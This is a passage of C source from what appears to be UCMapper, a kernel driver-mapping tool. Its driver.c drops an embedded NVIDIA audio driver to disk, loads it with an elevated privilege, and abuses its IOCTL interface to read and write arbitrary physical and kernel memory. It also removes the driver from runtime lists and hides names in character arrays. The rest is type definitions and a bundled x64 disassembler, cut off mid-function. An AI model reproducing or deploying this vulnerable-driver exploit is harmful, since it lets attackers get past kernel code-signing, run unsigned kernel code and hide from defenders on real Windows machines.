276 | ExReleaseResourceLite_t ExReleaseResourceLite;
277 | IoAllocateMdl_t IoAllocateMdl;
278 | IoFreeMdl_t IoFreeMdl;
279 | KeDelayExecutionThread_t KeDelayExecutionThread;
280 | KeSetEvent_t KeSetEvent;
281 | KeWaitForSingleObject_t KeWaitForSingleObject;
282 | memcpy_t memcpy;
283 | memset_t memset;
284 | MmAllocatePagesForMdlEx_t MmAllocatePagesForMdlEx;
285 | MmCopyMemory_t MmCopyMemory;
286 | MmFreePagesFromMdl_t MmFreePagesFromMdl;
287 | MmGetSystemRoutineAddress_t MmGetSystemRoutineAddress;
288 | MmMapIoSpaceEx_t MmMapIoSpaceEx;
289 | MmMapLockedPagesSpecifyCache_t MmMapLockedPagesSpecifyCache;
290 | MmMapViewInSystemSpace_t MmMapViewInSystemSpace;
291 | MmProbeAndLockPages_t MmProbeAndLockPages;
292 | MmProtectMdlSystemAddress_t MmProtectMdlSystemAddress;
293 | MmUnlockPages_t MmUnlockPages;
294 | MmUnmapIoSpace_t MmUnmapIoSpace;
295 | MmUnmapLockedPages_t MmUnmapLockedPages;
296 | MmUnmapViewInSystemSpace_t MmUnmapViewInSystemSpace;
297 | ObfDereferenceObject_t ObfDereferenceObject;
298 | ObReferenceObjectByHandle_t ObReferenceObjectByHandle;
299 | PsCreateSystemThread_t PsCreateSystemThread;
300 | PsGetThreadExitStatus_t PsGetThreadExitStatus;
301 | PsLookupProcessByProcessId_t PsLookupProcessByProcessId;
302 | PsTerminateSystemThread_t PsTerminateSystemThread;
303 | RtlAnsiStringToUnicodeString_t RtlAnsiStringToUnicodeString;
304 | RtlDeleteElementGenericTableAvl_t RtlDeleteElementGenericTableAvl;
305 | RtlEqualUnicodeString_t RtlEqualUnicodeString;
306 | RtlFindExportedRoutineByName_t RtlFindExportedRoutineByName;
307 | RtlFreeUnicodeString_t RtlFreeUnicodeString;
308 | RtlImageDirectoryEntryToData_t RtlImageDirectoryEntryToData;
309 | RtlImageNtHeader_t RtlImageNtHeader;
310 | RtlInitAnsiString_t RtlInitAnsiString;
311 | RtlInitUnicodeString_t RtlInitUnicodeString;
312 | RtlLookupElementGenericTableAvl_t RtlLookupElementGenericTableAvl;
313 | ZwClose_t ZwClose;
314 | ZwCreateSection_t ZwCreateSection;
315 | ZwOpenEvent_t ZwOpenEvent;
316 | ZwOpenFile_t ZwOpenFile;
317 | } KERNEL_IMPORT_TABLE, *PKERNEL_IMPORT_TABLE;
318 |
319 | C_ASSERT(sizeof(KERNEL_IMPORT_TABLE) == 368);
320 |
321 |
322 | NTSTATUS MiResolveImportTable(IN OUT PKERNEL_IMPORT_TABLE Table);
323 |
324 | //0xa0 bytes (sizeof)
325 | typedef struct _KLDR_DATA_TABLE_ENTRY
326 | {
327 | struct _LIST_ENTRY InLoadOrderLinks; //0x0
328 | VOID* ExceptionTable; //0x10
329 | ULONG ExceptionTableSize; //0x18
330 | VOID* GpValue; //0x20
331 | struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; //0x28
332 | VOID* DllBase; //0x30
333 | VOID* EntryPoint; //0x38
334 | ULONG SizeOfImage; //0x40
335 | struct _UNICODE_STRING FullDllName; //0x48
336 | struct _UNICODE_STRING BaseDllName; //0x58
337 | ULONG Flags; //0x68
338 | USHORT LoadCount; //0x6c
339 |
340 | union
341 | {
342 | USHORT SignatureLevel : 4; //0x6e
343 | USHORT SignatureType : 3; //0x6e
344 | USHORT Frozen : 2; //0x6e
345 | USHORT HotPatch : 1; //0x6e
346 | USHORT Unused : 6; //0x6e
347 | USHORT EntireField; //0x6e
348 | } u1; //0x6e
349 |
350 | VOID* SectionPointer; //0x70
351 | ULONG CheckSum; //0x78
352 | ULONG CoverageSectionSize; //0x7c
353 | VOID* CoverageSection; //0x80
354 | VOID* LoadedImports; //0x88
355 |
356 | union
357 | {
358 | VOID* Spare; //0x90
359 | struct _KLDR_DATA_TABLE_ENTRY* NtDataTableEntry; //0x90
360 | };
361 |
362 | ULONG SizeOfImageNotRounded; //0x98
363 | ULONG TimeDateStamp; //0x9c
364 | } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
365 |
366 | #ifdef __cplusplus
367 | }
368 | #endif
369 |
--------------------------------------------------------------------------------
/UCMapper/driver.c:
--------------------------------------------------------------------------------
1 |
2 | #include "main.h"
3 |
4 | typedef PVOID (*EncodePayLoad_t)(PVOID Request, LONG EncodeCode, ULONGLONG* EncryptionKey);
5 | static EncodePayLoad_t EncodePayLoad = 0;
6 | static PVOID NvAudioLibrary = 0;
7 | extern ULONGLONG DriverResource[5517];
8 |
9 | static NTSTATUS ReadSystemMemory(
10 | _In_ HANDLE DeviceHandle,
11 | _In_ ULONGLONG Source,
12 | _Out_writes_bytes_(Length) PVOID Destination,
13 | _In_ SIZE_T Length);
14 |
15 | static NTSTATUS WriteSystemMemory(
16 | _In_ HANDLE DeviceHandle,
17 | _In_ ULONGLONG Destination,
18 | _In_reads_bytes_(Length) PVOID Source,
19 | _In_ SIZE_T Length);
20 |
21 | static NTSTATUS DeviceControl(
22 | _In_ HANDLE DeviceHandle,
23 | _In_ ULONGLONG* EncryptionKey,
24 | _In_ PVOID Buffer,
25 | _In_ SIZE_T BufferLength);
26 |
27 | static NTSTATUS ReadPhysicalMemory(
28 | _In_ HANDLE DeviceHandle,
29 | _In_ ULONGLONG PhysicalAddress,
30 | _Out_writes_bytes_(BufferLength) PVOID Buffer,
31 | _In_ SIZE_T BufferLength);
32 |
33 | static NTSTATUS WritePhysicalMemory(
34 | _In_ HANDLE DeviceHandle,
35 | _In_ ULONGLONG PhysicalAddress,
36 | _In_reads_bytes_(BufferLength) PVOID Buffer,
37 | _In_ SIZE_T BufferLength);
38 |
39 | static NTSTATUS GetPhysicalAddress(
40 | _In_ HANDLE DeviceHandle,
41 | _In_ ULONGLONG VirtualAddress,
42 | _Out_ PULONGLONG PhysicalAddress);
43 |
44 | #pragma alloc_text(PAGE, LoadDriver)
45 | #pragma alloc_text(PAGE, UnloadDriver)
46 | #pragma alloc_text(PAGE, DeviceControl)
47 | #pragma alloc_text(PAGE, GetPhysicalAddress)
48 | #pragma alloc_text(PAGE, ReadPhysicalMemory)
49 | #pragma alloc_text(PAGE, WritePhysicalMemory)
50 | #pragma alloc_text(PAGE, ReadSystemMemory)
51 | #pragma alloc_text(PAGE, WriteSystemMemory)
52 |
53 | NTSTATUS LoadDriver(_Out_ PDEVICE_DRIVER_OBJECT DriverObject)
54 | {
55 | UNICODE_STRING UnicodeString;
56 | NTSTATUS Status;
57 | HANDLE TokenHandle;
58 | TOKEN_PRIVILEGES Privileges;
59 | OBJECT_ATTRIBUTES ObjectAttributes;
60 | IO_STATUS_BLOCK IoStatusBlock;
61 | HANDLE DeviceHandle;
62 |
63 | WCHAR DeviceName[] = {L'\\', L'D', L'e', L'v', L'i', L'c', L'e', L'\\', L'N', L'V', L'R',
64 | L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'};
65 |
66 | WCHAR ServiceName[]
67 | = {L'\\', L'R', L'e', L'g', L'i', L's', L't', L'r', L'y', L'\\', L'M', L'a', L'c',
68 | L'h', L'i', L'n', L'e', L'\\', L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C',
69 | L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l',
70 | L'S', L'e', L't', L'\\', L'S', L'e', L'r', L'v', L'i', L'c', L'e', L's', L'\\',
71 | L'N', L'V', L'R', L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'};
72 |
73 | WCHAR DriverFullPath[]
74 | = {L'\\', L'S', L'y', L's', L't', L'e', L'm', L'R', L'o', L'o', L't', L'\\',
75 | L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'};
76 |
77 | WCHAR DriverBaseName[]
78 | = {L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'};
79 |
80 | if ARGUMENT_PRESENT (DriverObject)
81 | RtlZeroMemory(DriverObject, sizeof(DEVICE_DRIVER_OBJECT));
82 |
83 | //
84 | // Set Privilege.
85 | //
86 |
87 | Privileges.PrivilegeCount = 1;
88 | Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
89 | Privileges.Privileges[0].Luid.LowPart = SE_LOAD_DRIVER_PRIVILEGE;
90 | Privileges.Privileges[0].Luid.HighPart = 0;
91 |
92 | Status = NtOpenThreadToken(
93 | NtCurrentThread(),
94 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
95 | FALSE,
96 | &TokenHandle);
97 |
98 | if (Status == STATUS_NO_TOKEN) {
99 | Status = NtOpenProcessToken(
100 | NtCurrentProcess(),
101 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
102 | &TokenHandle);
103 | }
104 |
105 | if NT_ERROR (Status) {
106 | DEBUG_PRINT_NTSTATUS(Status);
107 | return Status;
108 | }
109 |
110 | Status = NtAdjustPrivilegesToken(
111 | TokenHandle,
112 | FALSE,
113 | &Privileges,
114 | sizeof(TOKEN_PRIVILEGES),
115 | NULL,
116 | NULL);
117 |
118 | NtClose(TokenHandle);
119 |
120 | if NT_ERROR (Status) {
121 | DEBUG_PRINT_NTSTATUS(Status);
122 | return Status;
123 | }
124 |
125 | RtlInitUnicodeString(&UnicodeString, DeviceName);
126 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
127 | Status = NtOpenFile(
128 | &DeviceHandle,
129 | FILE_ALL_ACCESS,
130 | &ObjectAttributes,
131 | &IoStatusBlock,
132 | (FILE_SHARE_READ | FILE_SHARE_WRITE),
133 | FILE_ATTRIBUTE_DEVICE);
134 |
135 | if NT_ERROR (Status) {
136 | //
137 | // Write File to Disk.
138 | //
139 |
140 | Status = RtlFileWrite(DriverFullPath, DriverResource, sizeof(DriverResource));
141 | if NT_ERROR (Status) {
142 | DEBUG_PRINT_NTSTATUS(Status);
143 | return Status;
144 | }
145 |
146 | //
147 | // Set registry and load driver.
148 | //
149 | WCHAR v4[] = {L'I', L'm', L'a', L'g', L'e', L'P', L'a', L't', L'h', L'\0'};
150 | WCHAR v5[] = {L'T', L'y', L'p', L'e', L'\0'};
151 |
152 | Status = RtlRegSetKeyValueSz(ServiceName, v4, DriverFullPath);
153 |
154 | if NT_SUCCESS (Status)
155 | Status = RtlRegSetKeyValue32(ServiceName, v5, 1);
156 |
157 | if NT_ERROR (Status) {
158 | RtlRegDeleteKey(ServiceName);
159 | RtlFileDelete(DriverFullPath);
160 |
161 | DEBUG_PRINT_NTSTATUS(Status);
162 | return Status;
163 | }
164 |
165 | RtlInitUnicodeString(&UnicodeString, ServiceName);
166 | Status = NtLoadDriver(&UnicodeString);
167 |
168 | if NT_ERROR (Status) {
169 | RtlRegDeleteKey(ServiceName);
170 | RtlFileDelete(DriverFullPath);
171 |
172 | DEBUG_PRINT_NTSTATUS(Status);
173 | return Status;
174 | }
175 |
176 | //
177 | // Open device handle
178 | //
179 |
180 | RtlInitUnicodeString(&UnicodeString, DeviceName);
181 | InitializeObjectAttributes(
182 | &ObjectAttributes,
183 | &UnicodeString,
184 | OBJ_CASE_INSENSITIVE,
185 | NULL,
186 | NULL);
187 |
188 | Status = NtOpenFile(
189 | &DeviceHandle,
190 | FILE_ALL_ACCESS,
191 | &ObjectAttributes,
192 | &IoStatusBlock,
193 | (FILE_SHARE_READ | FILE_SHARE_WRITE),
194 | FILE_ATTRIBUTE_DEVICE);
195 |
196 | if NT_ERROR (Status) {
197 | RtlInitUnicodeString(&UnicodeString, ServiceName);
198 | NtUnloadDriver(&UnicodeString);
199 | RtlRegDeleteKey(ServiceName);
200 | RtlFileDelete(DriverFullPath);
201 |
202 | DEBUG_PRINT_NTSTATUS(Status);
203 | return Status;
204 | }
205 | }
206 |
207 | //
208 | // Init specified driver routine.
209 | //
210 |
211 | if (NvAudioLibrary == 0) {
212 | RtlInitUnicodeString(&UnicodeString, DriverBaseName);
213 | Status = LdrLoadDll(NULL, NULL, &UnicodeString, &NvAudioLibrary);
214 |
215 | if NT_ERROR (Status) {
216 | RtlInitUnicodeString(&UnicodeString, ServiceName);
217 | NtUnloadDriver(&UnicodeString);
218 | RtlRegDeleteKey(ServiceName);
219 | RtlFileDelete(DriverFullPath);
220 |
221 | DEBUG_PRINT_NTSTATUS(Status);
222 | return Status;
223 | }
224 |
225 | EncodePayLoad = (EncodePayLoad_t)((PCHAR)NvAudioLibrary + 0x2130);
226 | }
227 |
228 | //
229 | // Remove Driver RuntimeList.
230 | //
231 |
232 | if NT_SUCCESS (Status) {
233 | DriverObject->DeviceHandle = DeviceHandle;
234 | DriverObject->ReadMemory = ReadSystemMemory;
235 | DriverObject->WriteMemory = WriteSystemMemory;
236 |
237 | Status = RemoveDriverRuntimeList(DriverObject, DriverBaseName);
238 | if NT_ERROR (Status) {
239 | LdrUnloadDll(NvAudioLibrary);
240 | NvAudioLibrary = 0;
241 |
242 | RtlInitUnicodeString(&UnicodeString, ServiceName);
243 | NtUnloadDriver(&UnicodeString);
244 | RtlRegDeleteKey(ServiceName);
245 | RtlFileDelete(DriverFullPath);
246 |
247 | DEBUG_PRINT_NTSTATUS(Status);
248 | return Status;
249 | }
250 | }
251 |
252 | return Status;
253 | }
254 |
255 | NTSTATUS UnloadDriver(_In_ PDEVICE_DRIVER_OBJECT DriverObject)
256 | {
257 | NTSTATUS Status;
258 | UNICODE_STRING UnicodeString;
259 |
260 | WCHAR ServiceName[]
261 | = {L'\\', L'R', L'e', L'g', L'i', L's', L't', L'r', L'y', L'\\', L'M', L'a', L'c',
262 | L'h', L'i', L'n', L'e', L'\\', L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C',
263 | L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l',
264 | L'S', L'e', L't', L'\\', L'S', L'e', L'r', L'v', L'i', L'c', L'e', L's', L'\\',
265 | L'N', L'V', L'R', L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'};
266 |
267 | WCHAR DriverFullPath[]
268 | = {L'\\', L'S', L'y', L's', L't', L'e', L'm', L'R', L'o', L'o', L't', L'\\',
269 | L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'};
270 |
271 | if (NvAudioLibrary) {
272 | LdrUnloadDll(NvAudioLibrary);
273 | NvAudioLibrary = 0;
274 | }
275 |
276 | if (DriverObject->DeviceHandle) {
277 | Status = NtClose(DriverObject->DeviceHandle);
278 | DriverObject->DeviceHandle = NULL;
279 |
280 | if NT_ERROR (Status) {
281 | DEBUG_PRINT_NTSTATUS(Status);
282 | }
283 |
284 | RtlZeroMemory(DriverObject, sizeof(DEVICE_DRIVER_OBJECT));
285 | }
286 |
287 | // ==========================================================
288 | // Unload Driver.
289 | // ==========================================================
290 | RtlInitUnicodeString(&UnicodeString, ServiceName);
291 | Status = NtUnloadDriver(&UnicodeString);
292 | if NT_ERROR (Status) {
293 | DEBUG_PRINT_NTSTATUS(Status);
294 | }
295 |
296 | Status = RtlRegDeleteKey(ServiceName);
297 | if NT_ERROR (Status) {
298 | DEBUG_PRINT_NTSTATUS(Status);
299 | }
300 |
301 | Status = RtlFileDelete(DriverFullPath);
302 | if NT_ERROR (Status) {
303 | DEBUG_PRINT_NTSTATUS(Status);
304 | }
305 |
306 | return Status;
307 | }
308 |
309 | static NTSTATUS DeviceControl(
310 | _In_ HANDLE DeviceHandle,
311 | _In_ ULONGLONG* EncryptionKey,
312 | _In_ PVOID Buffer,
313 | _In_ SIZE_T BufferLength)
314 | {
315 | IO_STATUS_BLOCK IoStatus;
316 | NTSTATUS Status;
317 |
318 | EncodePayLoad(Buffer, 0x38, EncryptionKey);
319 |
320 | Status = NtDeviceIoControlFile(
321 | DeviceHandle,
322 | NULL,
323 | NULL,
324 | NULL,
325 | &IoStatus,
326 | NVAUDIO_IOCTL_CODE,
327 | Buffer,
328 | (ULONG)BufferLength,
329 | Buffer,
330 | (ULONG)BufferLength);
331 | if (Status == STATUS_PENDING) {
332 | Status = NtWaitForSingleObject(DeviceHandle, FALSE, NULL);
333 | }
334 |
335 | return Status;
336 | }
337 |
338 | static NTSTATUS ReadPhysicalMemory(
339 | _In_ HANDLE DeviceHandle,
340 | _In_ ULONGLONG PhysicalAddress,
341 | _Out_writes_bytes_(BufferLength) PVOID Buffer,
342 | _In_ SIZE_T BufferLength)
343 | {
344 | NVAUDIO_REQUEST Request;
345 | Request.RequestClass = READ_PHYSICAL_MEMORY;
346 | Request.NumberOfBytes = (LONG)BufferLength;
347 | Request.Destination = (LONGLONG)Buffer;
348 | Request.Source = PhysicalAddress;
349 |
350 | return DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST));
351 | }
352 |
353 | static NTSTATUS WritePhysicalMemory(
354 | _In_ HANDLE DeviceHandle,
355 | _In_ ULONGLONG PhysicalAddress,
356 | _In_reads_bytes_(BufferLength) PVOID Buffer,
357 | _In_ SIZE_T BufferLength)
358 | {
359 | NVAUDIO_REQUEST Request;
360 | Request.RequestClass = WRITE_PHYSICAL_MEMORY;
361 | Request.NumberOfBytes = (LONG)BufferLength;
362 | Request.Destination = PhysicalAddress;
363 | Request.Source = (LONGLONG)Buffer;
364 |
365 | return DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST));
366 | }
367 |
368 | static NTSTATUS GetPhysicalAddress(
369 | _In_ HANDLE DeviceHandle,
370 | _In_ ULONGLONG VirtualAddress,
371 | _Out_ PULONGLONG PhysicalAddress)
372 | {
373 | NVAUDIO_REQUEST Request;
374 | NTSTATUS Status;
375 | Request.RequestClass = GET_PHYSICAL_ADDRESS;
376 | Request.PhysicalAddress = 0;
377 | Request.VirtualAddress = VirtualAddress;
378 | *PhysicalAddress = 0;
379 |
380 | Status = DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST));
381 | if NT_SUCCESS (Status) {
382 | *PhysicalAddress = Request.PhysicalAddress;
383 | }
384 | return Status;
385 | }
386 |
387 | static NTSTATUS ReadSystemMemory(
388 | _In_ HANDLE DeviceHandle,
389 | _In_ ULONGLONG Source,
390 | _Out_writes_bytes_(Length) PVOID Destination,
391 | _In_ SIZE_T Length)
392 | {
393 | ULONGLONG PhysicalAddress;
394 | NTSTATUS Status;
395 |
396 | Status = GetPhysicalAddress(DeviceHandle, Source, &PhysicalAddress);
397 | if NT_ERROR (Status) {
398 | DEBUG_PRINT_NTSTATUS(Status);
399 | return Status;
400 | }
401 |
402 | return ReadPhysicalMemory(DeviceHandle, PhysicalAddress, Destination, Length);
403 | }
404 |
405 | static NTSTATUS WriteSystemMemory(
406 | _In_ HANDLE DeviceHandle,
407 | _In_ ULONGLONG Destination,
408 | _In_reads_bytes_(Length) PVOID Source,
409 | _In_ SIZE_T Length)
410 | {
411 | ULONGLONG PhysicalAddress;
412 | NTSTATUS Status;
413 |
414 | Status = GetPhysicalAddress(DeviceHandle, Destination, &PhysicalAddress);
415 | if NT_ERROR (Status) {
416 | DEBUG_PRINT_NTSTATUS(Status);
417 | return Status;
418 | }
419 |
420 | return WritePhysicalMemory(DeviceHandle, PhysicalAddress, Source, Length);
421 | }
422 |
--------------------------------------------------------------------------------
/UCMapper/hde64.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #include "main.h"
9 | #include "hde64.h"
10 |
11 | /*
12 | * Hacker Disassembler Engine 64 C
13 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
14 | * All rights reserved.
15 | *
16 | */
17 |
18 | #define C_NONE 0x00
19 | #define C_MODRM 0x01
20 | #define C_IMM8 0x02
21 | #define C_IMM16 0x04
22 | #define C_IMM_P66 0x10
23 | #define C_REL8 0x20
24 | #define C_REL32 0x40
25 | #define C_GROUP 0x80
26 | #define C_ERROR 0xff
27 |
28 | #define PRE_ANY 0x00
29 | #define PRE_NONE 0x01
30 | #define PRE_F2 0x02
31 | #define PRE_F3 0x04
32 | #define PRE_66 0x08
33 | #define PRE_67 0x10
34 | #define PRE_LOCK 0x20
35 | #define PRE_SEG 0x40
36 | #define PRE_ALL 0xff
37 |
38 | #define DELTA_OPCODES 0x4a
39 | #define DELTA_FPU_REG 0xfd
40 | #define DELTA_FPU_MODRM 0x104
41 | #define DELTA_PREFIXES 0x13c
42 | #define DELTA_OP_LOCK_OK 0x1ae
43 | #define DELTA_OP2_LOCK_OK 0x1c6
44 | #define DELTA_OP_ONLY_MEM 0x1d8
45 | #define DELTA_OP2_ONLY_MEM 0x1e7
46 |
47 | unsigned char hde64_table[] = {
48 | 0xa5, 0xaa, 0xa5, 0xb8, 0xa5, 0xaa, 0xa5, 0xaa, 0xa5, 0xb8, 0xa5, 0xb8, 0xa5, 0xb8, 0xa5, 0xb8,
49 | 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xac, 0xc0, 0xcc, 0xc0, 0xa1, 0xa1, 0xa1, 0xa1,
50 | 0xb1, 0xa5, 0xa5, 0xa6, 0xc0, 0xc0, 0xd7, 0xda, 0xe0, 0xc0, 0xe4, 0xc0, 0xea, 0xea, 0xe0, 0xe0,
51 | 0x98, 0xc8, 0xee, 0xf1, 0xa5, 0xd3, 0xa5, 0xa5, 0xa1, 0xea, 0x9e, 0xc0, 0xc0, 0xc2, 0xc0, 0xe6,
52 | 0x03, 0x7f, 0x11, 0x7f, 0x01, 0x7f, 0x01, 0x3f, 0x01, 0x01, 0xab, 0x8b, 0x90, 0x64, 0x5b, 0x5b,
53 | 0x5b, 0x5b, 0x5b, 0x92, 0x5b, 0x5b, 0x76, 0x90, 0x92, 0x92, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b,
54 | 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x6a, 0x73, 0x90, 0x5b, 0x52, 0x52, 0x52, 0x52, 0x5b, 0x5b,
55 | 0x5b, 0x5b, 0x77, 0x7c, 0x77, 0x85, 0x5b, 0x5b, 0x70, 0x5b, 0x7a, 0xaf, 0x76, 0x76, 0x5b, 0x5b,
56 | 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x86, 0x01, 0x03, 0x01, 0x04, 0x03, 0xd5,
57 | 0x03, 0xd5, 0x03, 0xcc, 0x01, 0xbc, 0x03, 0xf0, 0x03, 0x03, 0x04, 0x00, 0x50, 0x50, 0x50, 0x50,
58 | 0xff, 0x20, 0x20, 0x20, 0x20, 0x01, 0x01, 0x01, 0x01, 0xc4, 0x02, 0x10, 0xff, 0xff, 0xff, 0x01,
59 | 0x00, 0x03, 0x11, 0xff, 0x03, 0xc4, 0xc6, 0xc8, 0x02, 0x10, 0x00, 0xff, 0xcc, 0x01, 0x01, 0x01,
60 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x03, 0x01, 0xff, 0xff, 0xc0, 0xc2, 0x10, 0x11, 0x02, 0x03,
61 | 0x01, 0x01, 0x01, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
62 | 0x10, 0x10, 0x10, 0x10, 0x02, 0x10, 0x00, 0x00, 0xc6, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x06, 0x00,
63 | 0x04, 0x00, 0x02, 0xff, 0x00, 0xc0, 0xc2, 0x01, 0x01, 0x03, 0x03, 0x03, 0xca, 0x40, 0x00, 0x0a,
64 | 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x33, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
65 | 0xff, 0xbf, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00,
66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0xbf,
67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0xff, 0x40, 0x40, 0x40, 0x40,
68 | 0x41, 0x49, 0x40, 0x40, 0x40, 0x40, 0x4c, 0x42, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40,
69 | 0x4f, 0x44, 0x53, 0x40, 0x40, 0x40, 0x44, 0x57, 0x43, 0x5c, 0x40, 0x60, 0x40, 0x40, 0x40, 0x40,
70 | 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x64, 0x66, 0x6e, 0x6b, 0x40, 0x40,
71 | 0x6a, 0x46, 0x40, 0x40, 0x44, 0x46, 0x40, 0x40, 0x5b, 0x44, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00,
72 | 0x06, 0x06, 0x06, 0x06, 0x01, 0x06, 0x06, 0x02, 0x06, 0x06, 0x00, 0x06, 0x00, 0x0a, 0x0a, 0x00,
73 | 0x00, 0x00, 0x02, 0x07, 0x07, 0x06, 0x02, 0x0d, 0x06, 0x06, 0x06, 0x0e, 0x05, 0x05, 0x02, 0x02,
74 | 0x00, 0x00, 0x04, 0x04, 0x04, 0x04, 0x05, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00,
75 | 0x08, 0x00, 0x10, 0x00, 0x18, 0x00, 0x20, 0x00, 0x28, 0x00, 0x30, 0x00, 0x80, 0x01, 0x82, 0x01,
76 | 0x86, 0x00, 0xf6, 0xcf, 0xfe, 0x3f, 0xab, 0x00, 0xb0, 0x00, 0xb1, 0x00, 0xb3, 0x00, 0xba, 0xf8,
77 | 0xbb, 0x00, 0xc0, 0x00, 0xc1, 0x00, 0xc7, 0xbf, 0x62, 0xff, 0x00, 0x8d, 0xff, 0x00, 0xc4, 0xff,
78 | 0x00, 0xc5, 0xff, 0x00, 0xff, 0xff, 0xeb, 0x01, 0xff, 0x0e, 0x12, 0x08, 0x00, 0x13, 0x09, 0x00,
79 | 0x16, 0x08, 0x00, 0x17, 0x09, 0x00, 0x2b, 0x09, 0x00, 0xae, 0xff, 0x07, 0xb2, 0xff, 0x00, 0xb4,
80 | 0xff, 0x00, 0xb5, 0xff, 0x00, 0xc3, 0x01, 0x00, 0xc7, 0xff, 0xbf, 0xe7, 0x08, 0x00, 0xf0, 0x02,
81 | 0x00};
82 |
83 | #pragma warning(push)
84 | #pragma warning(disable : 4701)
85 | #pragma warning(disable : 4706)
86 |
87 | unsigned int hde64_disasm(const void* code, hde64s* hs)
88 | {
89 | UCHAR x, c = 0, *p = (UCHAR*)code, cflags, opcode, pref = 0;
90 | UCHAR *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
91 | UCHAR op64 = 0;
92 |
93 | RtlSecureZeroMemory(hs, sizeof(hde64s));
94 |
95 | for (x = 16; x; x--)
96 | switch (c = *p++) {
97 | case 0xf3:
98 | hs->p_rep = c;
99 | pref |= PRE_F3;
100 | break;
101 | case 0xf2:
102 | hs->p_rep = c;
103 | pref |= PRE_F2;
104 | break;
105 | case 0xf0:
106 | hs->p_lock = c;
107 | pref |= PRE_LOCK;
108 | break;
109 | case 0x26:
110 | case 0x2e:
111 | case 0x36:
112 | case 0x3e:
113 | case 0x64:
114 | case 0x65:
115 | hs->p_seg = c;
116 | pref |= PRE_SEG;
117 | break;
118 | case 0x66:
119 | hs->p_66 = c;
120 | pref |= PRE_66;
121 | break;
122 | case 0x67:
123 | hs->p_67 = c;
124 | pref |= PRE_67;
125 | break;
126 | default:
127 | goto pref_done;
128 | }
129 | pref_done:
130 |
131 | hs->flags = (ULONG)pref << 23;
132 |
133 | if (!pref)
134 | pref |= PRE_NONE;
135 |
136 | if ((c & 0xf0) == 0x40) {
137 | hs->flags |= F_PREFIX_REX;
138 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
139 | op64++;
140 | hs->rex_r = (c & 7) >> 2;
141 | hs->rex_x = (c & 3) >> 1;
142 | hs->rex_b = c & 1;
143 | if (((c = *p++) & 0xf0) == 0x40) {
144 | opcode = c;
145 | goto error_opcode;
146 | }
147 | }
148 |
149 | if ((hs->opcode = c) == 0x0f) {
150 | hs->opcode2 = c = *p++;
151 | ht += DELTA_OPCODES;
152 | } else if (c >= 0xa0 && c <= 0xa3) {
153 | op64++;
154 | if (pref & PRE_67)
155 | pref |= PRE_66;
156 | else
157 | pref &= ~PRE_66;
158 | }
159 |
160 | opcode = c;
161 | cflags = ht[ht[opcode / 4] + (opcode % 4)];
162 |
163 | if (cflags == C_ERROR) {
164 | error_opcode:
165 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
166 | cflags = 0;
167 | if ((opcode & -3) == 0x24)
168 | cflags++;
169 | }
170 |
171 | x = 0;
172 | if (cflags & C_GROUP) {
173 | USHORT t;
174 | t = *(USHORT*)(ht + (cflags & 0x7f));
175 | cflags = (UCHAR)t;
176 | x = (UCHAR)(t >> 8);
177 | }
178 |
179 | if (hs->opcode2) {
180 | ht = hde64_table + DELTA_PREFIXES;
181 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
182 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
183 | }
184 |
185 | if (cflags & C_MODRM) {
186 | hs->flags |= F_MODRM;
187 | hs->modrm = c = *p++;
